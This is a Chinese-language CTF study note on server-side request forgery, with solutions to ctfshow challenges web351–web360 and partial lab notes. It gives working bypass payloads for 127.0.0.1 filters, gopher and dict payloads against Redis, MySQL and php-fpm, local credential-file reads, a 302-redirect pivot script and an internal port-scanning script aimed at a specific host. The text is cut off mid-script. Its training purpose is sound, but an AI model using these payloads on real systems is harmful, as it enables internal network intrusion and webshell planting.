CTF 题型 SSRF攻击&例题总结

时间:2024-03-19 13:31:56

CTF 题型 SSRF攻击&例题总结

文章目录

  • CTF 题型 SSRF攻击&例题总结
    • Server-side Request Forgery 服务端请求伪造
    • SSRF的利用面
        • 1 任意文件读取 前提是知道要读取的文件名
        • 2 探测内网资源
        • 3 使用gopher协议扩展攻击面
          • Gopher协议 (注意是70端口)
          • python脚本(基于gopher转发监听)探测内网资源
          • mysql 3306
          • php-fpm
          • php原生类进行ssrf
    • SSSR攻击绕过
      • 1.enclosed alphanumerics 绕过(特殊情况)
      • 2 使用IP地址转换
      • 3 系统特性绕过
      • 4 302跳转
      • 5 利用短网址绕过
      • 6.重绑定攻击
      • 7.域名解析A记录绕过
      • 典型例题
    • 补充
      • 其他绕过127的方法
      • 利用不存在的协议头绕过指定的协议头
      • URL解析差异
    • ctfshow SSRF 靶场通关
      • web351
      • web352
      • web353
      • web354
      • web354
      • **web355**
      • **web356**
      • **web357**
      • web358
      • web359
      • web360
    • 国关师傅的SSRF靶场通关
      • 从基本原理理解(不用gopher-master)

SSRF攻击方式

Jerry%E7%9A%84SSRF%E6%94%BB%E5%87%BB%E6%80%BB%E7%BB%93%20e2d12a336f01472faf4dc1a7f92f26a6/16193750_6374cb8ecb1b72582.jpg

Server-side Request Forgery 服务端请求伪造

概念:攻击者向服务端发送包含恶意url连接的请求,借由服务端发起请求

以便获取服务端网络内部的资源

总结:
控制服务端使用指定协议访问指定的url

SSRF的利用面

1 任意文件读取 前提是知道要读取的文件名
2 探测内网资源

127.0.0.1 mysql服务端监听了127.0.0.1这个地址,也就表示,只能通过127.0.0.1这个IP来访问 因此,我们只能通过SSRF 本地服务器转发请求,才可以请求MySQL服务

0.0.0.0 表示允许任意ip访问

3 使用gopher协议扩展攻击面
Gopher协议 (注意是70端口)

gopher://ip:70/_tcp数据流

/之后的第一个字符不会被读取所以写成/_便于区分

常用工具:https://github.com/tarunkant/Gopherus(生成数据时会自动编码一次)

易错:生成数据之后还要urlencode编码一次才可利用
原因: 数据流经过了两层服务器解析
存在SSRF漏洞的服务器编码一次,目标服务器编码一次,所以一共编码两次

Gopher是Internet上一个非常有名的信息查找系统,它将Internet上的文件组织成某种索引,很方便地将用户从Internet的一处带到另一处。在WWW出现之前,Gopher是Internet上最主要的信息检索工具,Gopher站点也是最主要的站点,使用TCP

Gopher协议支持发出GET、POST请求,我们可以先截获GET请求包和POST请求包,再构造成符合Gopher协议请求的payload进行SSRF利用,甚至可以用它来攻击内网中的Redis、MySql、FastCGI等应用,这无疑大大扩展了我们的SSRF攻击面

Gopher协议格式

  • 如果发起POST请求,回车换行需要使用%0d%0a来代替%0a,如果多个参数,参数之间的&也需要进行URL编码

利用Gopher协议发送HTTP请求

步骤

注意这几个问题:

  1. 问号(?)需要转码为URL编码,也就是%3f
  2. 回车换行要变为%0d%0a,但如果直接用工具转,可能只会有%0a(不用hackbar)
  3. 在HTTP包的最后要加%0d%0a,代表消息结束(具体可研究HTTP包结束)
python脚本(基于gopher转发监听)探测内网资源
import requests

#url = "http://127.0.0.1:3000/"

ports = [21,22,80,443,3389,1433,3306,6379,8080,8088,3000,9000]

#21 ftp
#22 ssh
#80 http
#443 https
#3389 rdp windows远程桌面
#1433 ms-sqlserver 默认端口
#3306 mysql 默认端口
#6379 redis 默认端口
#9000 php-fpm 默认端口 默认不打会污染环境
#8080 tomcat 默认端口
#ports=list(range(1, 10001))
for c in range(1,255):
    for p in ports:
        try:
            #data={"url":f"gopher://127.0.0.1:{p}/"}
            url=f"http://111.229.88.209:10000/?syc=gopher://172.17.0.{c}:{p}/"
            response = requests.get(url=url,timeout=2)
        except:
            with open ("client.txt","w") as f:
                f.write(f"172.17.0.{c}端口{p}开放")
            print(f"172.17.0.{c}端口{p}开放")

关键服务

apache/nginx 80
tomcat 8080
node 3000
flask 8080
php-fpm 9000
mysql 3306
ftp 21
ssh 22
redis 6379
mysql 3306

一般用户密码为空 才可利用

php-fpm

php-fpm 默认监听9000端口,而且只允许本机127.0.0.1这个地址访问

主要负责对.php文件的代码解释执行

我们可以通过向9000端口发送格式的请求,来让9000端口背后的php-fpm帮我们处理我们提交的php代码

通过向9000端口发送php执行请求

利用方法 php.ini

通过设置php.ini中的运行参数

其中使用 auto_append_file 来指定 php://input 包含恶意代码,然后执行

为了能使用auto_append_file参数,必须有一个存在的php文件来使用这个配置项

php原生类进行ssrf

s o a p = n e w S o a p C l i e n t ( soap = new SoapClient( soap=newSoapClient(_GET[‘url’]);

$soap->hack();

//$soap->__call()

url可控时,可以发送内网请求

SSSR攻击绕过

只要不允许它访问本地地址即可,也就是说,过滤的目的是,不让访问127.0.0.1地址

1.enclosed alphanumerics 绕过(特殊情况)

Enclosed Alphanumerics是一种Unicode字符集,其中包括被圆圈、括号或其他类型的封闭图形所包围的字母和数字。例如,数字 “1” 可以表示为 “①”。在某些情况下,攻击者可能会尝试使用这些特殊字符来绕过输入校验。

随附的字母数字[1]
官方 Unicode 联盟代码表(PDF)
 	0	1	2	3	4	5	6	7	8	9	A	乙	C	D	乙	F
U+246x	①	②	③	④	⑤	⑥	⑦	⑧	⑨	⑩	⑪	⑫	⑬	⑭	⑮	⑯
U+247x	⑰	⑱	⑲	⑳	⑴	⑵	⑶	⑷	⑸	⑹	⑺	⑻	⑼	⑽	⑾	⑿
U+248x	⒀	⒁	⒂	⒃	⒄	⒅	⒆	⒇	⒈	⒉	⒊	⒋	⒌	⒍	⒎	⒏
U+249x	⒐	⒑	⒒	⒓	⒔	⒕	⒖	⒗	⒘	⒙	⒚	⒛	⒜	⒝	⒞	⒟
U+24斧	⒠	⒡	⒢	⒣	⒤	⒥	⒦	⒧	⒨	⒩	⒪	⒫	⒬	⒭	⒮	⒯
U+24Bx	⒰	⒱	⒲	⒳	⒴	⒵	Ⓐ	Ⓑ	Ⓒ	Ⓓ	Ⓔ	Ⓕ	Ⓖ	Ⓗ	Ⓘ	Ⓙ
U+24Cx	Ⓚ	Ⓛ	Ⓜ	Ⓝ	Ⓞ	Ⓟ	Ⓠ	Ⓡ	Ⓢ	Ⓣ	Ⓤ	Ⓥ	Ⓦ	Ⓧ	Ⓨ	Ⓩ
U+24Dx	ⓐ	ⓑ	ⓒ	ⓓ	ⓔ	ⓕ	ⓖ	ⓗ	ⓘ	ⓙ	ⓚ	ⓛ	ⓜ	ⓝ	ⓞ	ⓟ
U+24Ex	ⓠ	ⓡ	ⓢ	ⓣ	ⓤ	ⓥ	ⓦ	ⓧ	ⓨ	ⓩ	⓪	⓫	⓬	⓭	⓮	⓯
U+24Fx	⓰	⓱	⓲	⓳	⓴	⓵	⓶	⓷	⓸	⓹	⓺	⓻	⓼	⓽	⓾	⓿

127.0.0.1

127.⓿.⓿.1

2 使用IP地址转换

所有的域名->IP

ip可以使用不同进制来表示

127.0.0.1用不同进制可以表示为

  • 2130706433 10进制 http://2130706433
  • 017700000001 8进制 http://017700000001
  • 7F000001 16进制 http://0x7F000001

还可以点分表示

3 系统特性绕过

Windows 下 0 代表的是0.0.0.0
而Linux 下 0 代表的是127.0.0.1

127.0.0.1 可以省略为 127.1

127。0。0。1 可以替代127.0.0.1

4 302跳转

可以发送http的协议。但是返回的location为其他协议

http://xxx.com/302.php?schema=gopher&host=127.0.0.1&port=9000&payload=xxxx

302脚本

<?php  
$schema = $_GET['s'];
$ip     = $_GET['i'];
$port   = $_GET['p'];
$query  = $_GET['q'];
if(empty($port)){  
    header("Location: $schema://$ip/$query"); 
} else {
    header("Location: $schema://$ip:$port/$query"); 
}
//?s=http&i=127.0.0.1&q=flag.php

5 利用短网址绕过

baidu.com 不允许出现baidu

或者限制了url长度,我们可以切换为短网址,来绕过长度的限制

http://rurl.vip/eW7AU

6.重绑定攻击

image-20240318140404474

image-20240318140555495

Untitled

极其类似条件竞争 通过host合法验证后 TTL缓存失效后,DNS解析重定向到127.0.0.1

具体实现攻击

1.ceye.io注册绑定DNS重绑定127.0.0.1然后记得前面加r

访问r.自己分配的地址

2.DNS重绑定利用:https://lock.cmpxchg8b.com/rebinder.html

7.域名解析A记录绕过

将自己的域名A记录指向127.0.0.1

典型例题

题目禁止 localhost,0,1,。

Untitled

方法有 三种

方法一:域名指向127

在自己的域名中添加一条A记录指向 127.0.0.1

或者使用 http://sudo.cc这个域名就是指向127.0.0.1

方法二:302跳转

在自己的网站页面添加

<?phpheader("Location:http://127.0.0.1/flag.php");

重定向到127

方法三:DNS-Rebinding

自己去ceye.io注册绑定127.0.0.1然后记得前面加r

或者 https://lock.cmpxchg8b.com/rebinder.html

补充

其他绕过127的方法

  1. 如果目标代码限制访问的域名只能为 http://www.xxx.com,那么我们可以采用HTTP基本身份认证的方式绕过。即@:http://www.xxx.com@www.evil.com http://www.evil.com/
  2. http://xip.io,当访问这个服务的任意子域名的时候,都会重定向到这个子域名,如访问:http://127.0.0.1.xip.io/flag.php时,实际访问的是http://127.0.0.1/1.php 像这样的网址还有 http://nip.io,http://sslip.io
  3. 短网址目前基本都需要登录使用,如缩我,https://4m.cn/
  4. 各种指向127.0.0.1的地址

利用不存在的协议头绕过指定的协议头

file_get_contents()函数的一个特性,即当PHP的file_get_contents()函数在遇到不认识的协议头时候会将这个协议头当做文件夹,造成目录穿越漏洞,这时候只需不断往上跳转目录即可读到根目录的文件。(include()函数也有类似的特性)//路径穿越的原理

上面的代码限制了url只能是以https开头的路径,那么我们就可以如下:

此时file_get_contents()函数遇到了不认识的伪协议头“httpsssss://”,就会将他当做文件夹,然后再配合目录穿越即可读取文件:

URL解析差异

1.readfile和parse_user函数解析差异绕过指定端口

上述代码限制了我们传过去的url只能是80端口的,但如果我们想去读取11211端口的文件的话,我们可以用以下方法绕过

可以成功读取11211端口flag.txt文件,原理如下图

Jerry%E7%9A%84SSRF%E6%94%BB%E5%87%BB%E6%80%BB%E7%BB%93%20e2d12a336f01472faf4dc1a7f92f26a6/16193749_6374cb8d7fe1d7023.jpg

两个函数解析host也存在差异

Jerry%E7%9A%84SSRF%E6%94%BB%E5%87%BB%E6%80%BB%E7%BB%93%20e2d12a336f01472faf4dc1a7f92f26a6/16193749_6374cb8dd636b31285.jpg

利用这种差异的不同,可以绕过题目中parse_url()函数对指定host的限制

2.利用curl和parse_url的解析差异绕过指定host

Jerry%E7%9A%84SSRF%E6%94%BB%E5%87%BB%E6%80%BB%E7%BB%93%20e2d12a336f01472faf4dc1a7f92f26a6/16193750_6374cb8e4c07669429.jpg

Untitled

ctfshow SSRF 靶场通关

web351

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>

file:///etc/hosts 存在SSRF

Untitled

直接 url=http://0/flag.php

Linux特性 0 可以代表 127.0.0.1

web352

url=http://0/flag.php

web353

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127\.0\.|\。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?> hacker

Untitled

url=http://0x7F.0.0.1/flag.php

点分+进制转换

web354

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|1|0|。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?> hacker

302跳转 但是我是裸ip…

web354

if(!preg_match('/localhost|1|0|。/i', $url))

方法一:域名指向127

在自己的域名中添加一条A记录指向 127.0.0.1

或者使用 http://sudo.cc这个域名就是指向127.0.0.1

方法二:302跳转

在自己的网站页面添加

<?phpheader("Location:http://127.0.0.1/flag.php");

重定向到127

方法三:DNS-Rebinding

自己去ceye.io注册绑定127.0.0.1然后记得前面加r

url=http://r.xxxzc8.ceye.io/flag.php

or https://lock.cmpxchg8b.com/rebinder.html

Untitled

Untitled

web355

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=5)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?> hacker

url=http://0/flag.php

web356

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=3)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?> hacker

url=http://0/flag.php

web357

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$ip = gethostbyname($x['host']); //ipv4地址
echo '</br>'.$ip.'</br>';
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
    die('ip!');// 
}

echo file_get_contents($_POST['url']);
}
else{
    die('scheme');
}
?> scheme

url=http://r.t4ekuo.ceye.io/flag.php

dns重绑定 类似条件竞争

file_get_content = 远程include + SSRF

web358

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
    echo file_get_contents($url);
}

poc

http://ctf.@127.0.0.1/flag.php?show //注意题干要求

web359

Untitled

Untitled

判断可以写入文件地址

无回显

写文件(运气)

Untitled

Untitled

web360

url=dict://0:6379/info

判断redis未授权

用gopherus写马

工具地址

https://github.com/tarunkant/Gopherus

redis写phpshell马

国关师傅的SSRF靶场通关

这是之前零星的笔记,内容不全,建议跳过

Untitled

Untitled

Untitled

arp_sweep的原理

arp_sweep是一个通常在本地网络(LAN)中使用的技术,用来发现活跃的设备。

即使host 80端口关闭,仍有arp协议解析

可以通过查看arp缓存表,判断内网存活主机

验证存在ssrf漏洞

file:///etc/passwd

查询C段

file:///etc/hosts

Untitled

两个网段对应两个网卡

查看arp缓存表

file:///proc/net/arp

Untitled

类似浏览器的历史记录,有过通信才有记录(目录默认是当前路径 / 不要忘)

如何有通信,bp发http包

Untitled

Untitled

Untitled

Untitled

不推荐,容易误判

Untitled

Untitled

kali自带comment目录

Untitled

Untitled

Untitled

http他爹

Untitled

Untitled

POST后不加换行

Untitled

注意事项:(用hackerbar换行为%0a(不可以))

Untitled

Untitled

Untitled

Untitled

POST传参

Untitled

Untitled

Untitled

Untitled

remote_add不可伪造:考点SSRF

Untitled

Untitled

Untitled

Untitled

限制内网ip

Untitled

vps挂302脚本

<?php  
$schema = $_GET['s'];
$ip     = $_GET['i'];
$port   = $_GET['p'];
$query  = $_GET['q'];
if(empty($port)){  
    header("Location: $schema://$ip/$query"); 
} else {
    header